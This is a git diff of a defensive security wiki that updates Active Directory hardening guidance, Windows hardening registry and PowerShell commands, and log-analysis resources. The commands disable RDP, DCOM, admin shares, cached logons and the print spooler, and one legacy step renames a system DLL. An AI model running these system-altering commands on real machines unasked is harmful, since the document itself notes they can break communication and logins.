[https://www.hub.trimarcsecurity.com/post/wild-west-hackin-fest-toolshed-talk-locksmith](https://www.hub.trimarcsecurity.com/post/wild-west-hackin-fest-toolshed-talk-locksmith) -* [Security Considerations for Domain Trusts - Microsoft](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321\(v=ws.10\)?redirectedfrom=MSDN#w2k3tr\_trust\_security\_zyzk) +* [Active Directory Certificate Services](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831740\(v=ws.11\)) - An often overlooked tool that should come with most Microsoft licenses; use AD certificates to sign scripts and docs made in your environment to easily detect what is foreign. + * [Locksmith](https://github.com/TrimarcJake/Locksmith) - A tool to identify and remediate common misconfigurations in Active Directory Certificate Services + * [Trimarc Security: Locksmith Talk](https://www.hub.trimarcsecurity.com/post/wild-west-hackin-fest-toolshed-talk-locksmith) +* [Security Considerations for Domain Trusts - Microsoft](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321\(v=ws.10\)?redirectedfrom=MSDN#w2k3tr_trust_security_zyzk) * [Locking up your Domain Controllers - Microsoft](https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc160936\(v=msdn.10\)?redirectedfrom=MSDN) * Group Policies * [Active Directory and Group Policy Guidelines](https://www.grouppolicy.biz/2010/07/best-practice-active-directory-structure-guidelines-part-1/) - * [https://www.blackhillsinfosec.com/webcast-group-policies-that-kill-kill-chains](https://www.blackhillsinfosec.com/webcast-group-policies-that-kill-kill-chains/) - * [NIST Secure base set of GPOs](https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline/USGCB-Content/Microsoft-Content) + * [Black Hills Infosec: Group Policies that Kill Kill Chains](https://www.blackhillsinfosec.com/webcast-group-policies-that-kill-kill-chains/) + * [NIST Secure Base Set of GPOs](https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline/USGCB-Content/Microsoft-Content) -### Certificate Pinning +### Email Defense Hardening -* [https://www.hasecuritysolutions.com/the-trusted-evil-intranet-page/](https://www.hasecuritysolutions.com/the-trusted-evil-intranet-page/) +* [Cyber.gov.au: Combat Fake Emails](https://www.cyber.gov.au/sites/default/files/2020-05/PROTECT%20-%20How%20to%20Combat%20Fake%20Emails%20%28September%202019%29.pdf) +* [M3AAWG: Parked Domains Best Practices](https://www.m3aawg.org/sites/default/files/m3aawg_parked_domains_bp-2015-12.pdf) +* [M3AAWG: Email Authentication Best Practices](https://www.m3aawg.org/sites/default/files/m3aawg-email-authentication-recommended-best-practices-09-2020.pdf) +* [M3AAWG: Malicious Domain Registrations](https://www.m3aawg.org/sites/default/files/m3aawg-maliciousdomainregistratinos-2018-06.pdf) +* [M3AAWG: Reporting Phishing URLs](https://www.m3aawg.org/sites/default/files/m3aawg-reporting-phishing-urls-2018-12.pdf) -### Email Defense Hardening +## Archived / Deprecated Tools -* [https://www.cyber.gov.au/sites/default/files/2020-05/PROTECT%20-%20How%20to%20Combat%20Fake%20Emails%20%28September%202019%29.pdf](https://www.cyber.gov.au/sites/default/files/2020-05/PROTECT%20-%20How%20to%20Combat%20Fake%20Emails%20\(September%202019\).pdf) -* [https://www.m3aawg.org/sites/default/files/m3aawg\_parked\_domains\_bp-2015-12.pdf](https://www.m3aawg.org/sites/default/files/m3aawg\_parked\_domains\_bp-2015-12.pdf) -* [https://www.m3aawg.org/sites/default/files/m3aawg-email-authentication-recommended-best-practices-09-2020.pdf](https://www.m3aawg.org/sites/default/files/m3aawg-email-authentication-recommended-best-practices-09-2020.pdf) -* [https://www.m3aawg.org/sites/default/files/m3aawg-maliciousdomainregistratinos-2018-06.pdf](https://www.m3aawg.org/sites/default/files/m3aawg-maliciousdomainregistratinos-2018-06.pdf) -* [https://www.m3aawg.org/sites/default/files/m3aawg-reporting-phishing-urls-2018-12.pdf](https://www.m3aawg.org/sites/default/files/m3aawg-reporting-phishing-urls-2018-12.pdf) +* [OSChameleon](https://github.com/mushorg/oschameleon) - **(Archived/Legacy)** OS Fingerprint Obfuscation for Linux. Requires Python 2.7. + * [ADHD Project - OsChameleon](https://adhdproject.github.io/#!Tools/Annoyance/OsChameleon.md) +* [atc-mitigation](https://github.com/atc-project/atc-mitigation) - **(Deprecated)** Analytics for combatting threats based on MITRE ATT&CK. No longer actively maintained. + +Active deception tools such as Portspoof and CrowdSec bouncers live in Active Defense. Web application firewall resources such as ModSecurity and mod_evasive live in Web App Hacking. + +{% content-ref url="../active-defense.md" %} +[active-defense.md](../active-defense.md) +{% endcontent-ref %} + +{% content-ref url="../../web-app-hacking/web-technologies/web-application-firewall.md" %} +[web-application-firewall.md](../../web-app-hacking/web-technologies/web-application-firewall.md) +{% endcontent-ref %} ## **Hardening Commands** diff --git a/blue-defense/device-hardening/ad-security-checks.md b/blue-defense/device-hardening/ad-security-checks.md index deb4e0c..58bc6bf 100644 --- a/blue-defense/device-hardening/ad-security-checks.md +++ b/blue-defense/device-hardening/ad-security-checks.md @@ -3,80 +3,101 @@ ### Defensive/Hardening Tools * [PingCastle](https://www.pingcastle.com/) - A tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework -* [Aorato Skeleton Key Malware Remote DC Scanner](https://gallery.technet.microsoft.com/Aorato-Skeleton-Key-24e46b73) - Remotely scans for the existence of the Skeleton Key Malware -* [RiskySPN](https://github.com/cyberark/RiskySPN) - RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). -* [Deploy-Deception](https://github.com/samratashok/Deploy-Deception) - A PowerShell module to deploy active directory decoy objects -* [SpoolerScanner](https://github.com/vletoux/SpoolerScanner) - Check if MS-RPRN is remotely available with powershell/c# -* [dcept](https://github.com/secureworks/dcept) - A tool for deploying and detecting use of Active Directory honeytokens -* [DCSYNCMonitor](https://github.com/shellster/DCSYNCMonitor) - Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events -* [jackdaw](https://github.com/skelsec/jackdaw) - Jackdaw is here to collect all information in your domain, store it in a SQL database and show you nice graphs on how your domain objects interact with each-other an how a potential attacker may exploit these interactions. It also comes with a handy feature to help you in a password-cracking project by storing/looking up/reporting hashes/passowrds/users. +* [BloodHound Community Edition](https://github.com/SpecterOps/BloodHound) - Uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Defenders can use it to identify and eliminate highly complex attack paths. +* [Purple Knight](https://www.purple-knight.com/) - A security assessment tool that scans your Active Directory environment for indicators of exposure (IOEs) and provides a report with a security score. +* [SpoolerScanner](https://github.com/vletoux/SpoolerScanner) - Check if MS-RPRN is remotely available using PowerShell or C#. +* [DCSYNCMonitor](https://github.com/shellster/DCSYNCMonitor) - Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events. -## **General Recommendations** +### Deprecated / Archive Tools +*The following tools may be unmaintained but contain useful concepts or scripts.* +* [jackdaw](https://github.com/skelsec/jackdaw) - AD visualization tool (similar goal to BloodHound) focusing on object interactions. +* [RiskySPN](https://github.com/cyberark/RiskySPN) - PowerShell scripts focused on detecting and abusing accounts associated with SPNs. +* AD deception tools such as Deploy-Deception and dcept are preserved in Active Defense. -* Manage local Administrator passwords (LAPS). +{% content-ref url="../active-defense.md" %} +[active-defense.md](../active-defense.md) +{% endcontent-ref %} + +## General Recommendations + +* Manage local Administrator passwords using Windows LAPS (built-in) or Legacy LAPS. * Implement RDP Restricted Admin mode (as needed). * Remove unsupported OSs from the network. * Monitor scheduled tasks on sensitive systems (DCs, etc.). +* Scan SYSVOL for legacy GPP Passwords (MS14-025) in fragments (groups.xml, scheduledtasks.xml). * Ensure that OOB management passwords (DSRM) are changed regularly & securely stored. -* Use SMB v2/v3+ -* Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves. +* Disable SMBv1 and enforce SMB v2/v3 signing. +* Default domain Administrator password should be changed every year & when an AD admin leaves. The KRBTGT password should be rotated twice annually and when an AD admin leaves. * Remove trusts that are no longer necessary & enable SID filtering as appropriate. -* All domain authentications should be set (when possible) to: "Send NTLMv2 response onlyrefuse LM & NTLM." +* Enforce LDAP Signing and Channel Binding to prevent relay attacks. +* All domain authentications should be set (when possible) to: "Send NTLMv2 response only. Refuse LM & NTLM." * Block internet access for DCs, servers, & all administration systems. -## **Protect Admin Credentials** +## Protect Admin Credentials * No "user" or computer accounts in admin groups. * Ensure all admin accounts are "sensitive & cannot be delegated". * Add admin accounts to "Protected Users" group (requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection). * Disable all inactive admin accounts and remove from privileged groups. -## **Protect AD Admin Credentials** +## Protect AD Admin Credentials * Limit AD admin membership (DA, EA, Schema Admins, etc.) & only use custom delegation groups. -* ‘Tiered’ Administration mitigating credential theft impact. +* Tiered Administration to mitigate credential theft impact. * Ensure admins only logon to approved admin workstations & servers. * Leverage time-based, temporary group membership for all admin accounts -## **Protect Service Account Credentials** +## Protect Service Account Credentials * Limit to systems of the same security level. -* Leverage “(Group) Managed Service Accounts” (or PW >20 characters) to mitigate credential theft (kerberoast). -* Implement FGPP (DFL =>2008) to increase PW requirements for SAs and administrators. +* Leverage “(Group) Managed Service Accounts” (or password >20 characters) to mitigate credential theft (kerberoast). +* Implement Fine-Grained Password Policies (FGPP) (starting at DFL 2008) to increase password requirements for SAs and administrators. * Logon restrictions – prevent interactive logon & limit logon capability to specific computers. * Disable inactive SAs & remove from privileged groups. -## **Protect Resources** +## Protect Resources * Segment network to protect admin & critical systems. * Deploy IDS to monitor the internal corporate network. * Network device & OOB management on separate network. -## **Protect Domain Controllers** +## Protect Domain Controllers * Only run software & services to support AD. * Minimal groups (& users) with DC admin/logon rights. -* Ensure patches are applied before running DCPromo (especially MS14-068 and other critical patches). +* Disable the Print Spooler service on all Domain Controllers (to mitigate PrintNightmare and coercion attacks). +* Ensure critical patches are applied before running DCPromo (e.g., Zerologon [CVE-2020-1472]). * Validate scheduled tasks & scripts. -## **Protect Workstations (& Servers)** +## Protect AD CS (Certificate Services) + +* Treat Certificate Authorities (CAs) as Tier 0 assets (same security level as Domain Controllers). +* Regularly audit Certificate Templates for misconfigurations (e.g., ESC1-ESC8 vulnerabilities). +* Remove "Enroll" permissions for "Domain Users" on sensitive templates. +* Prevent "Enrollee Supplies Subject" flag on templates that allow authentication. +* Monitor for new certificate requests and template changes. + +## Protect Workstations (& Servers) * Patch quickly, especially privilege escalation vulnerabilities. -* Deploy security back-port patch (KB2871997). -* Set Wdigest reg key to 0 (KB2871997/Windows 8.1/2012R2+): HKEY\_LOCAL\_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest -* Deploy workstation whitelisting (Microsoft AppLocker) to block code exec in user folders – home dir & profile path. -* Deploy workstation app sandboxing technology (EMET) to mitigate application memory exploits (0-days). +* Set WDigest `UseLogonCredential` registry value to 0: + * Path: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest` + * Value Name: `UseLogonCredential` + * Type: `DWORD` + * Value: `0` +* Deploy workstation whitelisting (Microsoft AppLocker or Windows Defender Application Control) to block code execution in user folders – home directory & profile path. +* Deploy workstation app sandboxing technology (Windows Defender Exploit Guard) to mitigate application memory exploits (0-days). -## **Logging** +## Logging -* Enable enhanced auditing +* Enable enhanced auditing and ensure process creation events are enabled. * “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” * Enable PowerShell module logging (“\*”) & forward logs to central log server (WEF or other method). * Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server. * SIEM or equivalent to centralize as much log data as possible. -* User Behavioural Analysis system for enhanced knowledge of user activity (such as Microsoft ATA). +* User Behavior Analysis system for enhanced knowledge of user activity (such as Microsoft Defender for Identity). -## **Security Pro’s Checks** +## Security Pro’s Checks * Identify who has AD admin rights (domain/forest). * Identify who can logon to Domain Controllers (& admin rights to virtual environment hosting virtual DCs). diff --git a/blue-defense/device-hardening/windows-hardening-commands.md b/blue-defense/device-hardening/windows-hardening-commands.md index 721bb3b..e4bdb5f 100644 --- a/blue-defense/device-hardening/windows-hardening-commands.md +++ b/blue-defense/device-hardening/windows-hardening-commands.md @@ -1,47 +1,61 @@ # Windows Hardening Commands -## Windows Commands +### Harden System from Lateral Movement and Privilege Escalation -### Harden System from Lateral Movement/privesc +**Note:** modifications may disrupt device communication. Test thoroughly before deploying to production. May also require a restart. -Note: These may inadvertently break communication of devices and should be tested. It may also require a restart. +For Active Directory assessment context and related hardening recommendations, use AD Security Checks. + +{% content-ref url="ad-security-checks.md" %} +[ad-security-checks.md](ad-security-checks.md) +{% endcontent-ref %} ### **Disable remote interaction with services** -``` +```cmd reg add "HKLM\SYSTEM\CurrentControlSet\Control" /v DisableRemoteScmEndpoints /t REG_DWORD /d 1 /f ``` ### **Disable remote interaction with scheduled tasks** -``` +```cmd reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule" /v DisableRpcOverTcp /t REG_DWORD /d 1 /f ``` ### **Disable RDP access** -``` +```cmd reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f ``` ### **Disable DCOM** -``` +```cmd reg add "HKLM\SOFTWARE\Microsoft\Ole" /v EnableDCOM /t REG_SZ /d N /f ``` ### **Disable Admin Shares** -``` +Note: This disables the automatic creation of C$, ADMIN$, etc. `net share` commands can remove them immediately without a reboot, but they will return unless the registry key is set. + +**Registry (Persistent):** +```cmd reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v "AutoShareWks" /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v "AutoShareServer" /t REG_DWORD /d 0 /f ``` +**Runtime (Temporary/Immediate):** +```cmd +net share C$ /delete +net share IPC$ /delete +net share ADMIN$ /delete +``` + ### **Disable Printer Spooler Service (PrintNightmare RCE & LPE Mitigation)** Note: [Flow chart](https://twitter.com/gentilkiwi/status/1412483747321192451) kindly provided by Benjamin Delpy -``` +```powershell Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled reg add "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v Start /t REG_DWORD /d 4 /f @@ -51,7 +65,7 @@ reg add "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v Start /t REG_DWORD / Special thanks to [truesec](https://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available/) -``` +```powershell $Path = "C:\Windows\System32\spool\drivers" $Acl = (Get-Item $Path).GetAccessControl('Access') $Ar = New-Object System.Security.AccessControl.FileSystemAccessRule("System", "Modify", "ContainerInherit, ObjectInherit", "None", "Deny") @@ -61,23 +75,24 @@ Set-Acl $Path $Acl ### **Disable Remote Printing (PrintNightmare RCE mitigation)** -``` +```cmd reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers" /v RegisterSpoolerRemoteRpcEndPoint /t REG_DWORD /d 2 /f ``` -### **Enable Warning on PointAndPrint and UAC (PrintNightmare LPE mitigation)** +### **Enable Warning for Point and Print and UAC (PrintNightmare LPE mitigation)** -``` +```cmd reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v NoWarningNoElevationOnInstall /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v NoWarningNoElevationOnUpdate /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f +reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f ``` ### **Deny vulnerable Netlogon connections (Prevent ZeroLogon CVE-2020-1472)** Note: This should be run on a DC or relevant policy applied. It requires the August 11, 2020 update. Full mitigation advice can be found [here](https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc) -``` +```cmd reg add "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" /v FullSecureChannelProtection /t REG_DWORD /d 1 /f ``` @@ -87,33 +102,15 @@ It should be noted the following System events relate to this and should be revi * Event IDs 5830 and 5831 in the System event log, if ZeroLogon connections are allowed by “Domain controller: Allow vulnerable Netlogon secure channel connections” group policy. * Event ID 5829 in the System event log, if ZeroLogon vulnerable Netlogon secure channel connection is allowed. -### **Rename mshtml.dll (CVE-2021-40444 Mitigation)** - -Note: This will render any application which leverages mshtml.dll for rendering HTML content unable to do so (including mshta.exe - yay). At this stage the MSHTML (Trident) engine should not be leveraged by many applications and [Microsoft recommends future app development not use the MSHTML (Trident) engine](https://techcommunity.microsoft.com/t5/windows-it-pro-blog/internet-explorer-11-desktop-app-retirement-faq/ba-p/2366549). Some examples of what do use it include .chm files and software mentioned [here](https://en.wikipedia.org/wiki/Trident\_\(layout\_engine\)) - -* Run cmd.exe as Administrator. - - takeown /F mshtml.dll icacls mshtml.dll /grant administrators:F move mshtml.dll mshtml2.dll cd ../SysWOW64 takeown /F mshtml.dll icacls mshtml.dll /grant administrators:F move mshtml.dll mshtml2.dll - ### **Stop Server Responsible for Inter-process Communication Calls** -``` +```cmd net stop server ``` -### **Delete Admin Shares** - -Note: This may break some application communication and admin functionality. It may also be temporary as Windows has been known to recreate them. Always test. - -* C$ = Default share on systems ‘C’ drive. -* IPC$ = Default Inter-process communication share (used by named pipes) -* ADMIN$ = Default share for remote administration (used by PsExec) - - net share C$ /delete net share IPC$ /delete net share ADMIN$ /delete - **Disable Anonymous Access to Named Pipes** -``` +```cmd reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v "RestrictNullSessAccess" /t "REG_DWORD" /d 1 /f ``` @@ -128,24 +125,94 @@ Notes on named pipes: * Any service running through the Service Control Manager (SCM), or Component Object Model (COM) specified to run under a certain account, automatically has impersonate privileges. * When creating a child process using ‘CreateProcessWithToken’ the secondary logon service ‘seclogon’ needs to be running or else this will fail. -**Disable OLE objects in** +**Disable OLE objects in Office** -``` +```powershell Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name PackagerPrompt -Type DWORD -Value 2 -Set-ItemProperty REGISTRY::HKU\*\Software\Microsoft\Office\*\*\Security -Name PackagerPrompt -Type DWORD -Value 2 -``` - -* Windows - * _BTFM: Windows Hardening - pg. 22_ - * _Operator Handbook: Windows\_Defend - pg. 334_ - * Enforce Safe DLL Search Mode - _PTFM - pg. 28_ - * Disable Run Once - _PTFM - pg. 28_ - * Enable WIndows Credential Guard - _PTFM - pg.44_ - * _Operator Handbook: Mimikatz\_Defend - pg. 206_ - * _Cyber Operations: Defending the Windows Domain - pg. 567_ -* Linux - * _BTFM: Linux Hardening - pg. 34_ - * _Operator Handbook: Linux\_Defend - pg. 123_ -* Misc Guides - * Repository of Hardening guides - [https://github.com/ernw/hardening](https://github.com/ernw/hardening)__ - * _Operator Handbook: MacOS\_Defend - pg. 162_ +Set-ItemProperty Registry::HKEY_USERS\*\Software\Microsoft\Office\*\*\Security -Name PackagerPrompt -Type DWORD -Value 2 +``` + +### **Disable LLMNR (Mitigates Responder/Poisoning)** + +```cmd +reg add "HKLM\Software\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f +``` + +### **Enable LSA Protection (RunAsPPL)** + +Note: Prevents non-protected processes from interacting with LSASS (mitigates Mimikatz dumping). + +```cmd +reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f +``` + +### **Disable WDigest Authentication** + +Note: Prevents LSASS from storing credentials in cleartext. + +```cmd +reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f +``` + +### **Limit Cached Logons** + +Note: Sets the number of previous user credential hashes stored locally to 0. **Warning:** This effectively prevents login if the Domain Controller is unreachable. + +```cmd +reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount /t REG_SZ /d 0 /f +``` + +### **Disable PowerShell v2** + +Note: Removes the legacy PowerShell version to prevent downgrade attacks. + +```powershell +Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 -NoRestart +Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root -NoRestart +``` + +### **Enable PowerShell Logging** + +Note: Enables ScriptBlock logging and Transcription. + +```cmd +reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f +reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\TRANSCRIPTION" /v EnableTranscripting /t REG_DWORD /d 1 /f +``` + +## Deprecated / Legacy Mitigations + +These techniques were used as temporary workarounds for specific vulnerabilities (CVEs) before patches were available. They should generally be replaced by applying official security updates. + +### **Rename mshtml.dll (CVE-2021-40444 Mitigation)** + +Note: This will render any application which leverages mshtml.dll for rendering HTML content unable to do so (including mshta.exe - yay). At this stage the MSHTML (Trident) engine should not be leveraged by many applications and [Microsoft recommends future app development not use the MSHTML (Trident) engine](https://techcommunity.microsoft.com/t5/windows-it-pro-blog/internet-explorer-11-desktop-app-retirement-faq/ba-p/2366549). Some examples of what do use it include .chm files and software mentioned [here](https://en.wikipedia.org/wiki/Trident\_\(layout\_engine\)) + +* Run cmd.exe as Administrator. + +```cmd +takeown /F mshtml.dll +icacls mshtml.dll /grant administrators:F +move mshtml.dll mshtml2.dll +cd ../SysWOW64 +takeown /F mshtml.dll +icacls mshtml.dll /grant administrators:F +move mshtml.dll mshtml2.dll +``` + +## References + +* **Windows** + * _BTFM: Windows Hardening_ - pg. 22 + * _Operator Handbook: Windows\_Defend_ - pg. 334 + * Enforce Safe DLL Search Mode - _PTFM_ - pg. 28 + * Disable Run Once - _PTFM_ - pg. 28 + * Enable Windows Credential Guard - _PTFM_ - pg. 44 + * _Operator Handbook: Mimikatz\_Defend_ - pg. 206 + * _Cyber Operations: Defending the Windows Domain_ - pg. 567 +* **Linux** + * _BTFM: Linux Hardening_ - pg. 34 + * _Operator Handbook: Linux\_Defend_ - pg. 123 +* **Misc Guides** + * [Repository of Hardening guides](https://github.com/ernw/hardening) + * _Operator Handbook: MacOS\_Defend_ - pg. 162 diff --git a/blue-defense/event-and-log-analysis.md b/blue-defense/event-and-log-analysis.md index c1bb1f4..0dcc2f7 100644 --- a/blue-defense/event-and-log-analysis.md +++ b/blue-defense/event-and-log-analysis.md @@ -1,51 +1,77 @@ --- -description: Common Security Events, how to analyze them, and the tools to do so +description: Common security events, log interpretation, and analyst techniques --- -# Event and Log analysis +# Event and Log Analysis -## Types of data we work with +Use this page for understanding alert data, event data, raw logs, and the analysis techniques defenders use during investigations. Logging architecture, collection design, and source onboarding live in the Logging and Security Architecture section. -These are the parsed and normalized version of the log information that comes into your SIEM. These will help you be able to search for data in specific fields, create use cases that map across log sources, and provide the next level of detail beyond what appears in an alert.Event data - This is the data behind the alert. This should be all of the available details found in the reporting log file, normalized/converted into a standard format. This normalization is key, as it is what allows your searches to work across multiple log types. Generally, if you are working out of a SOAR or SIEM, you will be dealing with event data.When investigating an event, alert, or incident, there will be three levels of data you will look at: +{% content-ref url="../security-logging/" %} +[security-logging](../security-logging/) +{% endcontent-ref %} -* Alert data - These are essentially searches made in your data to look for specific matches. If working out of an alert queue like most security analysts, this is what you will get first. The alert should show you the search logic as well as the data points that are matched in the search. -* Event Data - These are the event logs that your searches and use cases work off of. They are typically normalized for processing by your SIEM, parsed so you know which fields you need, and possibly filtered to limit the scope of the data you might find relevant. -* Log data - This is the raw, unedited, un-normalized data, before it is processed by another tool. Generally if you are working with an EDR platform, application logs, or system logs, these will be giving you raw log data. +## Types of Data -Alert data and Event data can change depending on the platform you are using. Log data and format will be specific to the type of log that is being generated. \ -Security analysts will typically be working from Alert/Event data, and then pivot to log data if they need further investigation. Threat hunters and forensics investigators will typically use raw log data for its granular level of detail. +Security professionals typically work with parsed and normalized versions of log information within a SIEM. This structured data enables field-specific searching, the creation of use cases that map across various log sources, and provides a deeper level of detail than what appears in a standard alert. -## **Understanding Log results and thier contents** +**Event data** is the data behind the alert. It consists of all available details from the reporting log file, normalized into a standard format. This normalization is key, as it allows searches to operate across multiple log types. Generally, if you are working within a SOAR or SIEM, you will be dealing with event data. -Logging formats will change depending on the log, log source, application, and manufacturer. Most are super dense with information and can be difficult to parse with out any reference. Below are some collections of cheatsheets and tool outputs that can help you make sense of some of the log types you might deal with and part of an investigation. +When investigating an event, alert, or incident, there are generally three levels of data to consider: + +* **Alert data** - Searches, rules, or detections that matched specific conditions in your data. If you work from an alert queue, this is usually what you see first. Good alerts should show the search logic and the data points that matched. +* **Event data** - The normalized records that searches and detection use cases operate on. Event data is usually parsed into fields and may be filtered or enriched by a SIEM. +* **Log data** - Raw, unedited, un-normalized records before another tool processes them. EDR platforms, applications, operating systems, and network devices often expose this level of detail. + +Alert data and Event data can vary depending on the platform in use. Log data and its format are specific to the type of log being generated. + +Security analysts typically work from Alert or Event data, pivoting to Log data if further investigation is needed. Threat hunters and forensic investigators often utilize raw Log data for its granular level of detail. + +## Log Analysis Techniques + +While tools provide alerts, analysts often need to hunt through data manually. Here are core techniques for finding anomalies in event data: + +* **Stacking (Frequency Analysis):** Grouping data by a specific field (e.g., User Agent, Event ID, Process Name) and counting unique occurrences. The goal is often **Long Tail Analysis**—investigating the "least frequent" occurrences (outliers) which are mathematically more likely to be anomalies. +* **Baselining:** Defining "normal" behavior for a specific environment (e.g., "The backup service account always runs from Server A at 02:00 AM"). Deviations from this known good state are potential indicators of compromise. +* **Parent-Child Process Analysis:** Examining the relationship between a process and the process that spawned it. For example, `winword.exe` (Microsoft Word) spawning `cmd.exe` or `powershell.exe` is highly suspicious and often indicates a macro-based attack. + +## **Understanding Log results and their contents** + +Logging formats change depending on the source, application, operating system, and vendor. Most are dense with information and can be difficult to parse without a reference. The resources below help explain fields, event IDs, tool outputs, and artifacts you may encounter during an investigation. + +For SIEM search languages and detection rule syntax, use the Query Languages page. + +{% content-ref url="query-languages.md" %} +[query-languages.md](query-languages.md) +{% endcontent-ref %} * Platform Logs - * [https://what2log.com/](https://what2log.com/platformselection/) - What2Log is an amazing platform that breaks down the different logs and data points found within those logs, and gives fantastic guidance on what exactly they mean. + * [What2Log](https://what2log.com/platformselection/) - What2Log is an amazing platform that breaks down the different logs and data points found within those logs, and gives fantastic guidance on what exactly they mean. * [Cheat-Sheets — Malware Archaeology](https://www.malwarearchaeology.com/cheat-sheets) - Collection of logging cheatsheets for various windows log types. * [Linux Logs Explained - Full overview of Linux Log Files - Plesk](https://www.plesk.com/blog/featured/linux-logs-explained/) - Breakdown of the files and paths of the various logs created by Linux * [Windows Security Log Encyclopedia](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx) - Explanation of Windows Event IDs - * Windows [Security Identifiers](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) - Describes security identifiers and how they work in regards to accounts and groups in the Windows operating system. - * [What are Azure Active Directory reports? | Microsoft Docs](https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/overview-reports) - Understanding Azure AD Audit logs - * [Sign-in log schema in Azure Monitor | Microsoft Docs](https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema) - Understanding Azure sign-in logs - * [Detailed properties in the audit log - Microsoft 365 Compliance | Microsoft Docs](https://docs.microsoft.com/en-us/microsoft-365/compliance/detailed-properties-in-the-office-365-audit-log?view=o365-worldwide) - O365 Log breakdown + * Windows [Security Identifiers](https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) - Describes security identifiers and how they work in regards to accounts and groups in the Windows operating system. + * [What are Microsoft Entra reports? | Microsoft Learn](https://learn.microsoft.com/en-us/entra/identity/monitoring-health/overview-reports) - Understanding Microsoft Entra ID (formerly Azure AD) Audit logs + * [Sign-in log schema in Azure Monitor | Microsoft Learn](https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-azure-monitor-sign-ins-log-schema) - Understanding Azure sign-in logs + * [Detailed properties in the audit log - Microsoft Purview | Microsoft Learn](https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties) - O365 Log breakdown * Protocol Specific Logs - * [Understanding DHCP Server Log File Format - ](https://www.serverbrain.org/network-planning-2003/understanding-dhcp-server-log-file-format.html)DHCP log breakdown * [The Importance of DNS Logging in Enterprise Security](https://nxlog.co/whitepapers/dns-logging) - DNS log fields and analysis * Tool/Application Logs * [Tool Analysis Result Sheet](https://jpcertcc.github.io/ToolAnalysisResultSheet/) - Great collection of tool outputs collected by the JP-CERT. - * [Microsoft Defender AV event IDs and error codes | Microsoft Docs](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide) - Understanding Defender AV event codes and Defender logs - * [Sysmon - Windows Sysinternals | Microsoft Docs](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) - Breakdown of sysmon logging and reported events. - * [Proxy server logs for incident response -](https://www.vanimpe.eu/2016/10/21/proxy-server-logs-incident-response/) Web Proxy log breakdown - * [Zeek and Windows Logs](https://f.hubspotusercontent00.net/hubfs/8645105/Corelight\_May2021/Pdf/002\_CORELIGHT\_080420\_ZEEK\_LOGS\_US\_ONLINE.pdf) + * [Microsoft Defender AV event IDs and error codes | Microsoft Learn](https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus) - 